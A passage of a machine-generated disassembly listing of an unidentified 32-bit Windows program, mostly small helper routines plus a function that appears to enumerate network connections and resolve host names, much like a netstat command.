U T I N E ======================================= sub_13C2C70 proc near ; CODE XREF: sub_13AC2C4j arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] push 0 push eax mov ecx, offset dword_447168 call sub_13ABB67 retn 10h sub_13C2C70 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C2CA0 proc near ; CODE XREF: sub_13ABF09j var_C = byte ptr -0Ch var_8 = byte ptr -8 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_13AC5BC mov ecx, [eax] lea edx, [esp+14h+var_C] push ecx push edx mov ecx, esi call sub_13ABA22 mov eax, [eax] lea ecx, [esp+18h+var_8] push eax push ecx mov ecx, esi call sub_13AB82E mov edx, [esi+4] mov ecx, esi push edx call sub_13AC4E5 xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn sub_13C2CA0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C2D10 proc near ; CODE XREF: sub_13ABEFAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_13AB79D mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 sub_13C2D10 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C2D50 proc near ; CODE XREF: sub_13AC5DAj var_C = byte ptr -0Ch sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_13AB711 mov ecx, [eax] lea edx, [esp+14h+var_C] push ecx push edx mov ecx, esi call sub_13AC34B mov eax, [eax] lea ecx, [esp+1Ch+var_C] push eax push ecx mov ecx, esi call sub_13AB950 mov edx, [esi+4] mov ecx, esi push edx call sub_13AC45E xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn sub_13C2D50 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C2DC0 proc near ; CODE XREF: sub_13AC34Bj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_13AB9D2 mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_13AC184 mov eax, esi pop esi retn 4 sub_13C2DC0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C2E00 proc near ; CODE XREF: sub_13AB711j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_13AC184 mov eax, esi pop esi retn 4 sub_13C2E00 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C2E30 proc near ; CODE XREF: sub_13AB4B9j var_C = byte ptr -0Ch sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_13AB711 mov ecx, [eax] lea edx, [esp+14h+var_C] push ecx push edx mov ecx, esi call sub_13AC34B mov eax, [eax] lea ecx, [esp+1Ch+var_C] push eax push ecx mov ecx, esi call sub_13AB950 pop esi add esp, 0Ch retn sub_13C2E30 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C2E80 proc near ; CODE XREF: sub_13AC486j push esi mov esi, ecx call sub_13AB928 mov eax, esi pop esi retn sub_13C2E80 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C2EA0 proc near ; CODE XREF: sub_13AC611j mov eax, [ecx] push eax call sub_13AB572 add esp, 4 retn sub_13C2EA0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C2EC0 proc near ; CODE XREF: sub_13AB761j push esi mov esi, ecx mov eax, [esi] push eax call sub_13AB9D2 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_13C2EC0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C2EF0 proc near ; CODE XREF: sub_13ABAF9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_13AC61B neg al sbb eax, eax inc eax retn 4 sub_13C2EF0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C2F20 proc near ; CODE XREF: sub_13AB82Ej var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_13ABC3E test al, al jz short loc_13C2F7A loc_13C2F38: ; CODE XREF: sub_13C2F20+47j lea ecx, [esp+10h+var_C] push 0 push ecx lea ecx, [esp+18h+arg_0] call sub_13AB56D mov edx, [eax] lea eax, [esp+18h+var_10] push edx push eax mov ecx, esi call sub_13AB63F lea ecx, [esp+20h+var_8] push ecx lea ecx, [esp+24h+var_C] call sub_13ABC3E test al, al jnz short loc_13C2F38 mov eax, [esp+24h+var_14] mov edx, [esp+24h+var_10] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_13C2F7A: ; CODE XREF: sub_13C2F20+16j mov eax, [esp+10h] mov ecx, [esp+10h+arg_0] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_13C2F20 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C2FB0 proc near ; CODE XREF: sub_13AC4E5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_13AC157 retn 4 sub_13C2FB0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C2FD0 proc near ; CODE XREF: sub_13AB950j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_13ABAF9 test al, al jz short loc_13C302A loc_13C2FE8: ; CODE XREF: sub_13C2FD0+47j lea ecx, [esp+10h+var_C] push 0 push ecx lea ecx, [esp+18h+arg_0] call sub_13AB6A3 mov edx, [eax] lea eax, [esp+18h+var_10] push edx push eax mov ecx, esi call sub_13AC54E lea ecx, [esp+20h+var_8] push ecx lea ecx, [esp+24h+var_C] call sub_13ABAF9 test al, al jnz short loc_13C2FE8 mov eax, [esp+24h+var_14] mov edx, [esp+24h+var_10] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_13C302A: ; CODE XREF: sub_13C2FD0+16j mov eax, [esp+10h] mov ecx, [esp+10h+arg_0] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_13C2FD0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C3060 proc near ; CODE XREF: sub_13AB79Dj arg_0 = dword ptr 4 push esi push edi push 0Ch call sub_13AC053 mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_13C3075 mov edi, esi loc_13C3075: ; CODE XREF: sub_13C3060+11j push esi call sub_13AB9D2 mov [eax], edi mov edi, [esp+10h+arg_0] add esp, 4 test edi, edi jnz short loc_13C308A mov edi, esi loc_13C308A: ; CODE XREF: sub_13C3060+26j push esi call sub_13ABF1D add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 sub_13C3060 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C30B0 proc near ; CODE XREF: sub_13AC45Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_13AB7F2 retn 4 sub_13C30B0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C30D0 proc near ; CODE XREF: sub_13AB9D2j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_13C30D0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C30F0 proc near ; CODE XREF: sub_13AB572j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_13C30F0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C3110 proc near ; CODE XREF: sub_13AB928j mov eax, ecx retn sub_13C3110 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C3130 proc near ; CODE XREF: sub_13AC184j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_13AC4E0 mov eax, esi pop esi retn 4 sub_13C3130 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C3160 proc near ; CODE XREF: sub_13AC61Bj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_13C3160 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C3190 proc near ; CODE XREF: sub_13AB63Fj var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_4 = byte ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_13AB56D mov ecx, eax call sub_13AC08A mov esi, eax push esi call sub_13ABE82 push esi mov ebx, eax call sub_13AC058 mov ecx, [eax] push ecx call sub_13ABE82 mov edx, [ebx] push esi mov [eax], edx call sub_13AC058 push esi mov ebx, eax call sub_13ABE82 mov eax, [eax] push eax call sub_13AC058 mov ecx, [ebx] push esi mov [eax], ecx call sub_13AB608 add esp, 1Ch mov ecx, edi push eax call sub_13ABB62 push esi mov ecx, edi call sub_13AC4E5 mov eax, [edi+8] mov edx, [esp+20h+var_8] dec eax mov [edi+8], eax mov eax, [esp+20h+var_C] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 sub_13C3190 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C3250 proc near ; CODE XREF: sub_13AC157j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call near ptr 13E0C02h pop ecx retn 8 sub_13C3250 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C3270 proc near ; CODE XREF: sub_13AB56Dj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_13AC30A mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_13C3270 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C32A0 proc near ; CODE XREF: sub_13AC54Ej var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_4 = byte ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_13AB6A3 mov ecx, eax call sub_13AC2CE mov esi, eax push esi call sub_13AB9D2 push esi mov ebx, eax call sub_13ABF1D mov ecx, [eax] push ecx call sub_13AB9D2 mov edx, [ebx] push esi mov [eax], edx call sub_13ABF1D push esi mov ebx, eax call sub_13AB9D2 mov eax, [eax] push eax call sub_13ABF1D mov ecx, [ebx] push esi mov [eax], ecx call sub_13AB572 add esp, 1Ch mov ecx, edi push eax call sub_13ABCC5 push esi mov ecx, edi call sub_13AC45E mov eax, [edi+8] mov edx, [esp+20h+var_8] dec eax mov [edi+8], eax mov eax, [esp+20h+var_C] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 sub_13C32A0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C3360 proc near ; CODE XREF: sub_13ABF1Dj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_13C3360 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C3380 proc near ; CODE XREF: sub_13AC053j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_13AC116 add esp, 8 retn 4 sub_13C3380 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C33B0 proc near ; CODE XREF: sub_13AB7F2j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call near ptr 13E0C02h pop ecx retn 8 sub_13C33B0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C33D0 proc near ; CODE XREF: sub_13AC4E0j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_13C33D0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C33F0 proc near ; CODE XREF: sub_13AB6A3j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_13AB761 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_13C33F0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C3420 proc near ; CODE XREF: sub_13ABB62j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_6 pop ecx retn 4 sub_13C3420 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C3440 proc near ; CODE XREF: sub_13ABCC5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_2 pop ecx retn 4 sub_13C3440 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C3460 proc near ; CODE XREF: sub_13AC2CEj mov eax, [ecx] retn sub_13C3460 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C34C0 proc near ; CODE XREF: sub_13AC503j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 43AC56h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+18h+var_14], esi call sub_13AB5B3 lea ecx, [esi+4] call sub_13ABB49 push 9 mov [esp+1Ch+var_4], 0 mov dword ptr [esi], offset dword_43E074 call near ptr 13E0C1Ah add esp, 4 mov [esp+18h+var_10], eax test eax, eax mov byte ptr [esp+18h+var_4], 1 jz short loc_13C352D mov ecx, eax call sub_13AC30F mov [esi+32h], eax mov eax, esi pop esi mov ecx, [esp+14h+var_C] mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- loc_13C352D: ; CODE XREF: sub_13C34C0+4Fj mov ecx, [esp+18h+var_C] xor eax, eax mov [esi+32h], eax mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn sub_13C34C0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C3580 proc near ; CODE XREF: sub_13AC30Fj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 43AC7Bh mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx push 14h call near ptr 13E0C1Ah add esp, 4 mov [esp+14h+var_10], eax test eax, eax mov [esp+14h+var_4], 0 jz short loc_13C35CE mov ecx, eax call sub_13AB9B9 mov [esi], eax mov eax, esi pop esi mov ecx, [esp+10h+var_C] mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- loc_13C35CE: ; CODE XREF: sub_13C3580+31j mov ecx, [esp+14h+var_C] xor eax, eax mov [esi], eax mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_13C3580 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C3610 proc near ; CODE XREF: sub_13AB9B9j mov eax, ecx retn sub_13C3610 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C3630 proc near ; CODE XREF: sub_13ABD65j var_30 = byte ptr -30h var_24 = byte ptr -24h var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push 43AC98h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 14h push 1 push 14h push 13h push 14h push 5 lea eax, [esp+44h+var_24] push 0Eh mov esi, ecx push eax call sub_13ABDB5 add esp, 24h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_13ABA81 add esi, 4 push eax push esi mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+34h+var_30] mov [esp+34h+var_10], 0FFFFFFFFh call sub_13AB626 mov ecx, [esp+34h+var_18] pop esi mov large fs:0, ecx add esp, 24h retn sub_13C3630 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C36D0 proc near ; CODE XREF: sub_13AB51Dj var_304 = dword ptr -304h var_2FC = dword ptr -2FCh var_2F8 = dword ptr -2F8h var_2F4 = dword ptr -2F4h var_2F0 = dword ptr -2F0h var_2EC = byte ptr -2ECh var_2E0 = dword ptr -2E0h var_2DC = byte ptr -2DCh var_2D4 = dword ptr -2D4h var_2C0 = dword ptr -2C0h var_2BC = dword ptr -2BCh var_2B8 = dword ptr -2B8h var_2B4 = dword ptr -2B4h var_2B0 = dword ptr -2B0h var_2AC = byte ptr -2ACh var_2A4 = dword ptr -2A4h var_28C = byte ptr -28Ch var_288 = byte ptr -288h var_284 = byte ptr -284h var_274 = byte ptr -274h var_24C = byte ptr -24Ch var_240 = byte ptr -240h var_1E8 = byte ptr -1E8h var_1C8 = byte ptr -1C8h var_1B5 = byte ptr -1B5h var_168 = byte ptr -168h var_158 = byte ptr -158h var_135 = byte ptr -135h var_E8 = byte ptr -0E8h var_B5 = byte ptr -0B5h var_64 = dword ptr -64h var_54 = byte ptr -54h var_4C = dword ptr -4Ch var_29 = byte ptr -29h var_18 = dword ptr -18h var_10 = dword ptr -10h arg_0 = dword ptr 4 push 0FFFFFFFFh push 43ACC6h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 298h push ebx mov ebx, ecx push esi mov [esp+2ACh+var_2A4], ebx lea ecx, [ebx+4] call sub_13ABBE4 mov esi, [esp+2ACh+arg_0] push eax lea ecx, [esi+7Eh] call sub_13AB6EE test eax, eax jnz loc_13C3A79 push ebp push edi push offset dword_443600 lea eax, [esp+2BCh+var_240] push 1 push eax mov ecx, esi call sub_13ABAAE mov ecx, eax call sub_13ABA81 push eax call atoi ; atoi add esp, 4 lea ecx, [esp+2C4h+var_24C] mov [ebx+36h], eax call sub_13AB626 mov ecx, esi call sub_13ABBE4 push eax lea ecx, [esp+2C8h+var_284] call sub_13ABC61 xor ebp, ebp push offset dword_443DA4 lea ecx, [esp+2CCh+var_288] mov [esp+2CCh+var_18], ebp mov [esp+2CCh+var_2B4], ebp call sub_13AB7E3 test eax, eax jz short loc_13C377F mov [esp+2CCh+var_2B8], 2 jmp short loc_13C3799 ; --------------------------------------------------------------------------- loc_13C377F: ; CODE XREF: sub_13C36D0+A3j push offset dword_443DA0 lea ecx, [esp+2D0h+var_28C] call sub_13AB7E3 test eax, eax jz short loc_13C3799 mov [esp+2D0h+var_2BC], 1 loc_13C3799: ; CODE XREF: sub_13C36D0+ADj ; sub_13C36D0+BFj mov ecx, [ebx+32h] mov edi, offset dword_443D94 xor eax, eax mov edx, [ecx] or ecx, 0FFFFFFFFh add edx, 2 repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [ebx+32h] mov edx, [ecx] mov byte ptr [edx], 1 mov eax, [ebx+32h] mov [esp+2D0h+var_135], 0 mov [esp+2D0h+var_B5], 0 mov [esp+2D0h+var_29], 0 mov [esp+2D0h+var_1B5], 0 mov eax, [eax] cmp byte ptr [eax], 0 jnz short loc_13C3828 mov esi, _strcmpi add eax, 2 push offset dword_443D94 push eax call esi ; _strcmpi add esp, 8 test eax, eax jz short loc_13C3828 mov ecx, [ebx+32h] push offset dword_443D90 mov edx, [ecx] add edx, 2 push edx call esi ; _strcmpi add esp, 8 test eax, eax jnz loc_13C3A5F loc_13C3828: ; CODE XREF: sub_13C36D0+123j ; sub_13C36D0+13Bj push 0C00h mov [esp+2D4h+var_2B0], 0C00h call malloc ; malloc add esp, 4 mov esi, eax lea eax, [esp+2D0h+var_2B0] mov [esp+2D0h+var_2B8], esi push 1 push eax push esi mov [esi], ebp call near ptr 13E1080h mov eax, [esi] mov [esp+2DCh+var_2C0], ebp cmp eax, ebp jle loc_13C3A55 lea ebp, [esi+14h] loc_13C3864: ; CODE XREF: sub_13C36D0+37Fj cmp dword ptr [ebp-10h], 2 jnz short loc_13C3878 mov ecx, [ebx+32h] mov edx, [ecx] cmp byte ptr [edx], 0 jz loc_13C3A3F loc_13C3878: ; CODE XREF: sub_13C36D0+198j mov ax, [ebp-8] mov esi, htons push eax call esi ; htons mov cx, [ebp+0] mov [esp+2E0h+var_2BC], eax push ecx call esi ; htons mov esi, [esp+2E4h+var_2D4] mov ebx, eax mov eax, [ebp-0Ch] push 1 lea edx, [esp+2E8h+var_1C8] push 7Fh push edx push eax mov ecx, esi call sub_13AB874 mov edx, [ebp-4] push 0 lea ecx, [esp+2F8h+var_158] push 7Fh push ecx push edx mov ecx, esi call sub_13AB874 mov eax, [ebp-10h] sub eax, 2 jz short loc_13C38DC sub eax, 3 jnz short loc_13C3902 lea edx, [esp+304h+var_2AC] mov edi, offset dword_443D80 jmp short loc_13C38E5 ; --------------------------------------------------------------------------- loc_13C38DC: ; CODE XREF: sub_13C36D0+1FAj lea edx, [esp+304h+var_2AC] mov edi, offset dword_443D74 loc_13C38E5: ; CODE XREF: sub_13C36D0+20Aj or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_13C3902: ; CODE XREF: sub_13C36D0+1FFj mov ecx, 23h xor eax, eax lea edi, [esp+304h+var_E8] rep stosd mov ecx, 23h lea edi, [esp+304h+var_274] rep stosd cmp dword ptr [ebp-10h], 2 jnz short loc_13C3928 xor ebx, ebx loc_13C3928: ; CODE XREF: sub_13C36D0+254j mov esi, [esp+304h+var_2E0] lea ecx, [esp+304h+var_1E8] and esi, 0FFFFh lea edx, [esp+304h+var_E8] push esi push ecx push offset dword_443D6C push 8Bh push edx call _snprintf ; _snprintf mov edi, ebx add esp, 14h and edi, 0FFFFh lea eax, [esp+304h+var_168] push edi push eax push offset dword_443D6C lea ecx, [esp+310h+var_274] push 8Bh push ecx call _snprintf ; _snprintf add esp, 14h lea ecx, [esp+304h+var_2DC] call sub_13AB824 mov eax, [esp+304h+var_2F0] mov [esp+304h+var_54], 1 test bx, bx jnz short loc_13C39C1 cmp eax, 1 jz loc_13C3A26 mov edx, [esp+304h+var_2F4] mov eax, [edx+36h] test eax, eax jz short loc_13C39B4 cmp eax, esi jnz short loc_13C3A26 loc_13C39B4: ; CODE XREF: sub_13C36D0+2DEj lea eax, [esp+304h+var_2AC] push esi push eax push offset dword_443D64 jmp short loc_13C39E7 ; --------------------------------------------------------------------------- loc_13C39C1: ; CODE XREF: sub_13C36D0+2CAj cmp eax, 2 jz short loc_13C3A26 mov ecx, [esp+304h+var_2F4] mov eax, [ecx+36h] test eax, eax jz short loc_13C39D5 cmp eax, edi jnz short loc_13C3A26 loc_13C39D5: ; CODE XREF: sub_13C36D0+2FFj lea edx, [esp+304h+var_274] lea eax, [esp+304h+var_2AC] push edx push eax push offset dword_443D5C loc_13C39E7: ; CODE XREF: sub_13C36D0+2EFj lea ecx, [esp+310h+var_2DC] push ecx call sub_13AB42D mov esi, [esp+314h+var_4C] add esp, 10h lea ecx, [esi+69h] call sub_13AB8D3 push eax lea ecx, [esp+308h+var_2DC] call sub_13AB8D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_E19CC5 call sub_13AB518 loc_13C3A26: ; CODE XREF: sub_13C36D0+2CFj ; sub_13C36D0+2E2j ... lea ecx, [esp+314h+var_2EC] mov byte ptr [esp+314h+var_64], 0 call sub_13AB626 mov esi, [esp+314h+var_2FC] mov ebx, [esp+314h+var_304] loc_13C3A3F: ; CODE XREF: sub_13C36D0+1A2j mov eax, [esp+314h+var_2F8] mov ecx, [esi] inc eax add ebp, 14h cmp eax, ecx mov [esp+314h+var_2F8], eax jl loc_13C3864 loc_13C3A55: ; CODE XREF: sub_13C36D0+18Bj push esi call free ; free add esp, 4 loc_13C3A5F: ; CODE XREF: sub_13C36D0+152j lea ecx, [esp+314h+var_2D4] mov [esp+314h+var_64], 0FFFFFFFFh call sub_13AB626 pop edi mov al, 1 pop ebp jmp short loc_13C3A7B ; --------------------------------------------------------------------------- loc_13C3A79: ; CODE XREF: sub_13C36D0+3Dj mov al, 1 loc_13C3A7B: ; CODE XREF: sub_13C36D0+3A7j mov ecx, [esp+2B0h+var_10] pop esi pop ebx mov large fs:0, ecx add esp, 2A4h retn 4 sub_13C36D0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C3BA0 proc near ; CODE XREF: sub_13AB874j var_20 = byte ptr -20h arg_0 = byte ptr 4 arg_3 = dword ptr 7 arg_8 = dword ptr 0Ch arg_C = byte ptr 10h mov eax, [esp+arg_3] sub esp, 20h mov edx, [esp+25h] and eax, 0FFh push ebx push ebp push esi mov esi, ecx mov ecx, [esp+32h] mov ebx, [esp+2Ch+arg_8] mov ebp, [esp+2Ch+arg_3+1] push eax mov eax, [esp+34h] and ecx, 0FFh and edx, 0FFh push ecx and eax, 0FFh push edx push eax push offset dword_443CD4 push ebx push ebp call _snprintf ; _snprintf mov ecx, [esi+32h] add esp, 1Ch mov al, [ecx+4] test al, al jnz short loc_13C3C60 mov al, [esp+2Ch+arg_C] test al, al jnz short loc_13C3C2E mov eax, [esp+30h] test eax, eax jz short loc_13C3C2E push 2 lea edx, [esp+30h+arg_0] push 4 push edx call gethostbyaddr ; gethostbyaddr test eax, eax jz short loc_13C3C60 mov eax, [eax] push ebx push eax push ebp call strncpy ; strncpy add esp, 0Ch pop esi pop ebp pop ebx add esp, 20h retn 10h ; --------------------------------------------------------------------------- loc_13C3C2E: ; CODE XREF: sub_13C3BA0+5Aj ; sub_13C3BA0+62j push edi mov ecx, 7 xor eax, eax lea edi, [esp+30h+var_20] rep stosd lea ecx, [esp+30h+var_20] push 1Dh push ecx stosw call gethostname ; gethostname test eax, eax pop edi jnz short loc_13C3C60 lea edx, [esp+2Ch+var_20] push ebx push edx push ebp call strncpy ; strncpy add esp, 0Ch loc_13C3C60: ; CODE XREF: sub_13C3BA0+52j ; sub_13C3BA0+75j ... pop esi pop ebp pop ebx add esp, 20h retn 10h sub_13C3BA0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C3CB0 proc near ; CODE XREF: sub_13AC2ECj call GetTickCount ; GetTickCount push eax call srand ; srand pop ecx retn sub_13C3CB0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13C3CD0 proc near ; CODE XREF: sub_13AC5A3j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push esi call rand ; rand mov esi, [esp+8+arg_0] mov [esp+8+var_4], eax mov eax, [esp+8+arg_4] fild [esp+8+var_4] sub eax, esi mov 